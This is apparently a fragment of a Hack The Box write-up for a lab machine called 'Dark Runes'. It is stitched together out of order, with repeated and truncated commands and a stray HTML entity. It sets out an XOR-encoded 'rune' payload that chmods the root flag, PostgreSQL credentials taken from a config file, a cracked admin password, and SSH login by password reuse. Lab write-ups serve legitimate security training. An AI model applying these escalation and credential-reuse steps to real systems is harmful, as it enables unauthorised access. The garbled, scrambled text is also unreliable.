Htb Dark Runes May 2026

echo -n "RUNECMD:chmod 777 /root/root.txt" > payload python3 -c 'print("".join(chr(ord(c) ^ 0x42) for c in open("payload").read()))' > /tmp/evil.rune Move to /var/runes/evil.rune and run:

Try re-creating the rune_decoder binary and see if you can find a different way to escalate without touching the root flag. htb dark runes

psql -U rune_walker -h localhost darkrunes -W Dump tables → users table has a row for admin with a (bcrypt). Crack with John or hashcat → admin:darkrun3s2023! echo -n "RUNECMD:chmod 777 /root/root

Machine Difficulty: Medium Category: Web, Cryptography, Binary Exploitation, Linux echo -n "RUNECMD:chmod 777 /root/root.txt" &gt

Land in /var/www/darkrunes . Find config.py with PostgreSQL creds: db_user: rune_walker , db_pass: s3cr3t_run3s . Access DB:

SSH as admin with same password.